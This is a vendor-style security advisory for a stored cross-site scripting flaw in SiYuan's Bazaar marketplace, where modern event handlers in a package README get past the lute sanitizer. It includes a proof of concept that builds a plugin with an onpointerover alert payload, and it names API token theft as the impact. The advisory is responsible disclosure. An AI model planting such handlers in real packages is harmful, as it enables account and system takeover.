SiYuan: Stored XSS in the Bazaar Marketplace via Package README Event Handlers
An incomplete event-handler denylist in the lute sanitizer allows JavaScript placed in a marketplace package README to run in a SiYuan administrator’s authenticated origin as soon as they view the listing.
Advisory ID: TP-2026-014
Product: SiYuan (open-source, privacy-first note-taking and knowledge management application)
Vulnerability type: Stored cross-site scripting (CWE-79, CWE-184)
CVE: CVE-2026-54070
CVSS 3.1: 7.1 (High) · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L
Affected versions: <= 3.6.5
Fixed in: 3.7.0
Vendor advisory: GHSA-w7cg-whh7-xp28
Reported: 30 May 2026
Summary
SiYuan is an open-source, privacy-first note-taking and knowledge management application. Its built-in marketplace (Bazaar) renders package README files, untrusted content from third-party repositories, through the lute markdown engine. Its sanitizer filters event-handler attributes against a denylist of legacy w3schools handlers, so modern handlers such as onpointerover, onpointerdown, onauxclick, onbeforetoggle, onfocusin, onanimationstart, and ontransitionend pass through verbatim. The rendered HTML is assigned directly to the DOM via innerHTML in the frontend without an additional DOMPurify pass, and the kernel sets no Content-Security-Policy. An inline handler placed in a package README therefore executes in an administrator’s authenticated origin as soon as they view the listing and interact with it. turingpoint verified the flow and reported it responsibly to the vendor.
Root cause
The lute sanitizer (render/sanitizer.go) checks event-handler attributes against a denylist (eventAttrs) of legacy handlers rather than an allowlist, so modern handlers such as onpointerover are not caught. kernel/bazaar/readme.go renders a package’s untrusted README with SetSanitize(true), relying on exactly that incomplete denylist. The frontend (app/src/config/bazaar.ts) then assigns the rendered HTML directly to innerHTML without sanitizing it client-side with DOMPurify. Because the kernel also serves no Content-Security-Policy, embedded inline handlers can execute. Once an administrator has trusted the marketplace (bazaar.trust) and moves the pointer over the README of a crafted package, the handler runs in the authenticated origin.
Proof of Concept
Prerequisite is a SiYuan instance with marketplace trust enabled:
# 1) Create a malicious plugin with a non-blocklisted event handler:
mkdir -p workspace/data/plugins/evil-plugin
cat > workspace/data/plugins/evil-plugin/plugin.json <<'JSON'
{"name":"evil-plugin","author":"x","version":"1.0.0","minAppVersion":"3.0.0",
"displayName":{"default":"Evil"},"description":{"default":"poc"},
"readme":{"default":"README.md"},"backends":["all"],"frontends":["all"]}
JSON
printf '<div onpointerover="alert(document.domain)">plugin description</div>\n' \
> workspace/data/plugins/evil-plugin/README.md
# 2) Fetch the rendered README via the API:
curl -s -X POST http://127.0.0.1:6806/api/bazaar/getInstalledPlugin \
-H "Authorization: Token <API-TOKEN>" -H "Content-Type: application/json" \
-d '{"frontend":"all","keyword":""}'
# The response contains the handler unescaped:
# <div onpointerover="alert(document.domain)">plugin description</div>
# 3) In Settings -> Marketplace, open the package and move the pointer over the
# README. The handler runs in the authenticated SiYuan origin.
Because the sanitizer does not know the modern handler and the frontend writes the result into the DOM without DOMPurify, alert(document.domain) runs as soon as the administrator moves the pointer over the README.
Impact
- Execution of arbitrary JavaScript in an administrator’s authenticated origin, without the package being installed.
- Theft of the API token (
conf.api.token) and thus full access to the administrator API. - Further takeover through functions such as
installBazaarPlugin, up to control over the kernel. - A single malicious package reaches every instance that views its marketplace listing.
References
Is Something Like This in Your Software?
Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.
